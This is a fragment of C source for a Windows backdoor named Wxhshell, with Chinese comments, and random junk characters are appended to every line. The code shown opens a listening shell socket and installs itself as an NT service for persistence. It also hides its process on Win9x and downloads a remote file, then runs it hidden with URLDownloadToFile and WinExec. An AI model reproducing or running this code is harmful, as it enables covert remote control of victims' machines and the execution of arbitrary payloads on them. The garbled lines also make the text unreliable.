ULONG InheritedFromUniqueProcessId; IXvz&4VD
} PROCESS_BASIC_INFORMATION; |4.o$*0Y
gkML .u
PROCNTQSIP NtQueryInformationProcess; ](>7h_2B
)]>G,.9C}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QYfAf3te
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~}-p5 q2
uuYH6bw*d
HANDLE hProcess; #r.` V!=
PROCESS_BASIC_INFORMATION pbi; %;(|KrUN
_~ZQ b
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xPMyG);
if(NULL == hInst ) return 0; _:X|R#d
* \o$-6<
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N~;
khS]
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hLbT\J`I
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zc/%1
j22#Bw
if (!NtQueryInformationProcess) return 0; "Dl9<EZ
{IPn\Bka
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;q,)NAr&
if(!hProcess) return 0; x)VIA]
;5Vk01R
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +yb$[E*
)n}]]^Sc
CloseHandle(hProcess); 4ZJT[zi
)yNw2+ ~5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >}DjHLTW\
if(hProcess==NULL) return 0; ~"q,<t
c >
mu)('U
HMODULE hMod; frmqBC VJ:
char procName[255]; {8#N7(%z
unsigned long cbNeeded; cxD}t'T
Stw+Dm\!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ok3
a|P~LMPM
CloseHandle(hProcess); YKe0:cWc
85|95P.<
if(strstr(procName,"services")) return 1; // 以服务启动 +# RlX3P
cl8_rt
return 0; // 注册表启动 3W-NS~y
} NB+$ym
5G'&9{oB
// 主模块 9U7Mu;4
int StartWxhshell(LPSTR lpCmdLine) /%uZKGP
{ c. TB8Ol
SOCKET wsl; /;<e.
BOOL val=TRUE; cCh0?g7nV
int port=0; J[<pZ
[
struct sockaddr_in door; WE 5"A|
=
"6E1W,|{
if(wscfg.ws_autoins) Install(); fmnRUN=
,"N3k(g
port=atoi(lpCmdLine); W"-EC`nP
RUS7Z~5
if(port<=0) port=wscfg.ws_port; A&|Wvb=
K/wiL69
WSADATA data; X40la_[.
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hINnb7o
@cu}3>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]@/^_f>D
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;WvYzd9
door.sin_family = AF_INET; MJ>Qq[0
door.sin_addr.s_addr = inet_addr("127.0.0.1"); uXQ7eXX
door.sin_port = htons(port); I|F~HUzA"
7O8V1Tt
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /OhaERv
closesocket(wsl); ]Z.<c$
return 1; m]0^
} iM?I
/\
2H?I'<NoC
if(listen(wsl,2) == INVALID_SOCKET) { Bbl)3$`,
closesocket(wsl); O^X[9vrW
return 1; 'YZI>V*
} vZ[$H
Wxhshell(wsl); ZVdsxo<
WSACleanup(); .7pGx*WH^Y
/$FXg;h9$
return 0; iHE0N6%q
-7-Fd_F8
} BrNG%%n
[+;FV!M6
// 以NT服务方式启动 ?AV&@EX2C
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W>`g;[ W
{ e8d5(e
DWORD status = 0; r^w\9a_
DWORD specificError = 0xfffffff; z-KrQx2
O)R7t3t
serviceStatus.dwServiceType = SERVICE_WIN32; y wW-p.
serviceStatus.dwCurrentState = SERVICE_START_PENDING; sR"zRn
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `ICcaRIN8I
serviceStatus.dwWin32ExitCode = 0; gx!*O<|e4
serviceStatus.dwServiceSpecificExitCode = 0; f?=r3/AO
serviceStatus.dwCheckPoint = 0; 1z})mfsh
serviceStatus.dwWaitHint = 0; CB*`
O+G~Qp0b>
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WFU?o[k-O
if (hServiceStatusHandle==0) return; 6keP':bt
^%n124
status = GetLastError(); n_""M:X H
if (status!=NO_ERROR) !lQ#sL`
{ F5N>Uqr*oN
serviceStatus.dwCurrentState = SERVICE_STOPPED; [{S;%Jj*X/
serviceStatus.dwCheckPoint = 0; ?%cn'=>ZI
serviceStatus.dwWaitHint = 0; -yX.Jv
serviceStatus.dwWin32ExitCode = status; jIAW-hc]
serviceStatus.dwServiceSpecificExitCode = specificError; -`zG_]=-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Jm]f/iZ
return; g2g`,"T
} x @1px&^
RGT_}ni
serviceStatus.dwCurrentState = SERVICE_RUNNING; =4frP*H?
serviceStatus.dwCheckPoint = 0; 5Y(r\Dd
serviceStatus.dwWaitHint = 0; K#GXpj
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ms.PO{wb
} R#Y50hzT
O24Jj\"
// 处理NT服务事件,比如:启动、停止 b7,
VOID WINAPI NTServiceHandler(DWORD fdwControl) VDB$"T9#
{ a`7%A H)
switch(fdwControl) OOCQsoN
{ E^b
pckP
case SERVICE_CONTROL_STOP: Dz[566UD
serviceStatus.dwWin32ExitCode = 0; yB-.sGu
serviceStatus.dwCurrentState = SERVICE_STOPPED;
n=f`AmF;
serviceStatus.dwCheckPoint = 0; iKg75%;t
serviceStatus.dwWaitHint = 0; "#*Nnt
{ EKcC+g
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %
2I
} Q/9a,85
return; ^g9}f
case SERVICE_CONTROL_PAUSE: /VRUz++K
serviceStatus.dwCurrentState = SERVICE_PAUSED; 3H1Pp*PH
break; .|T2\M
case SERVICE_CONTROL_CONTINUE: ? ouV
serviceStatus.dwCurrentState = SERVICE_RUNNING; 'eqiYY|
break; i4 hJE
case SERVICE_CONTROL_INTERROGATE: n4^*h4J7
break; /wr6\53J
}; QZ?d2PC=>?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?K0U3V$s
} pp(H
PKs=}
Oz:D.V
3~
// 标准应用程序主函数 <\h*Zy
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1+R:3(AC
{ GA.BI"l
SV&kWbS
// 获取操作系统版本 !d\t:0;
OsIsNt=GetOsVer(); ^rL,&rk
GetModuleFileName(NULL,ExeFile,MAX_PATH); v#zPH5xo
d{W}p~UbH
// 从命令行安装 TW>?h=.z
if(strpbrk(lpCmdLine,"iI")) Install(); .\$Wy$ d
d& hD[v
// 下载执行文件 ;vMn/
if(wscfg.ws_downexe) { .
=&Jo9
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6A}eSG3
WinExec(wscfg.ws_filenam,SW_HIDE); !&W|myN^
} ~
9=27p
|Z
d]=tue
if(!OsIsNt) { moCK-:
// 如果时win9x,隐藏进程并且设置为注册表启动 m)r]F#@/
HideProc(); Z+0?yQ=%
StartWxhshell(lpCmdLine); jM*AL
X
} |Td_S|:d
else n<E.Em1
if(StartFromService())
pL~=Z?(B
// 以服务方式启动 |B
eA==
StartServiceCtrlDispatcher(DispatchTable); d^tVD`Fm
else *MI)]S
// 普通方式启动 vEF=e
StartWxhshell(lpCmdLine); SWT:frki`
r]9 e^
return 0; TaOOq}8c#
}